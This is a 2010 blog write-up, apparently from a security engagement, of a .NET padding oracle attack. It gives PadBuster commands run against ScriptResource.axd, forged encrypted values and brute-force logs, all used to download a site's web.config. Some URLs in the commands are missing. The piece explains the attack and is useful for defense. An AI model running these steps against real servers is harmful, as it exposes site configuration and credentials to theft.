Wednesday, October 20, 2010

.NET Padding Oracle Attack,, and the Microsoft Recommended Workarounds

For some stupid reason, Whenever GoDaddy sees h t t p s : / / it turns it into a link and removes the scheme. This even happens if you edit the html manually. Because of this sillyness, I've used https:\\ below.

Since I first heard of the Padding Oracle issue, I've wanted to use it to exploit a site. I had that chance this week. Alex Lauerman and I muddled our way through this confusing (at least to me) attack scenario.

The attack is dependent on the server responding differently to an error in the decryption process vs an error in the application due to invalid data. The different response codes tells us whether or not the padding is valid or invalid. If you want to read more on the background of the issue, check out the great post over at

Now that we have a bit of the background covered, back to the site. Upon quick inspection we saw that 404 and 500 errors are redirected to the same error page. Bantha Herders! How did we know this? The 404 result was easy to test, just request an non-existant page. To test the crypto error we found a link in the page:


...messed with it...

...and we were redirected to the same error page.

So all errors redirect to the same page. Bummer, we can't use the status or error page to determine if the padding is invalid or not. But we can still use ScriptResource.axd to bypass all the workarounds recommended by Microsoft.

To add to the fun, the site requires authentication. We need to login and then grab our cookies for use with our attack tool. There are many ways to get the working cookies, I just used FireFox with TamperData to grap the cookies. Once cool thing I noticed, is that even if my session times out and I can no longer browse the site with my browser, I can still request the ScriptResource.axd. It seems that ScriptResource.axd does some different checking on a valid session.

So let's start our attack by beginning with Step 1: Find a valid T-Block Request (The second Step 1, not the first Step 1). We need to find a valid ScriptResource.axd link in the page source, and then we use padbuster.

$ perl "https:\\"
xxxxxxxxxxxxxxxx 16 -encoding 3 -bruteforce -log -verbose
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."

PadBuster requires the URL (taken from the page's source), the encrypted sample (the d value), block size (16 in .NET), and the encoding (3=.NET UrlToken). The bruteforce option is used to find a valid T-Block. The verbose option is used so we can actually see when we have found a valid T-Block. When one is found you will see this:

Attempt 15 - Status: 200 - Content Length: 393

Now we can use the T-Block request, along with the -prefix option, to use ScriptResource as a padding oracle. We can then decrypt the existing d parameter.

/ScriptResource.axd?d=xxxxxxxxxxxxxxxx" xxxxxxxxxxxxxxxx 16 -encoding 3 -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
8uZusApWVWny8usel5V8b61BtSQ2PY1" -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

Boring, but what about downloading the web.config file? First, we need to use the oracle to encrypt "|||~/web.config". Why that string? Well, I'll (sort of) explain that later.

$ perl "https:\\"
xxxxxxxxxxxxxxxx 16 -encoding 3 -plaintext "|||~/web.config" -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."


** Finished ***

[+] Encrypted value is: BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1

So now we have the encypted version of "|||~/web.config". We can use this with our request to ScriptResource.axd to download the web.config. Now, why that string? According to

"The most common way to download files remotely from unpatched framework 3.5 Sp1 and 4.0 is to obtain after decryption a string similar to the one below:

I'm not sure why, but I'll take their word for it. At this point we have encrypted portion of the string above, but we have to bruteforce the first block so we can get "r#gargabe".

perl https:\\
-verbose -encoding 3 -bruteforce -log -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

It will regularly hit strings that will decrypt, but do not match the string we want (r#garbage|||~/web.config). You will see a of results like this:

Attempt 15 - Status: 200 - Content Length: 373

Attempt 485 - Status: 200 - Content Length: 364

The web.config is significantly longer than ~370 bytes. So sit back, grab a drink, and wait. Let this bugger run for a LONG time. In my test it took over 21000 requests. I added the log option so we don't have to keep an eye on the screen. You can come back later and run this command to look for responses with a content length greater than 1000 bytes.

$ cat ActivityLog.txt | grep -E "Length: [0-9]{4,} -A 1"
Attempt 21906 - Status: 200 - Content Length: 12186
Attempt 28796 - Status: 200 - Content Length: 12183
Attempt 35162 - Status: 200 - Content Length: 12183

We have a WINNER!!!!

Now to retrieve the file.
$ curl "https:\\
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0" --insecure -H "Cookie: ASP.NET_SessionId=f2471ac5-e515-..." > web.config

The web.config file is probably gzip encoded so view it like this:

$ gunzip -c web.config

<?xml version="1.0"?>


No comments:

Post a Comment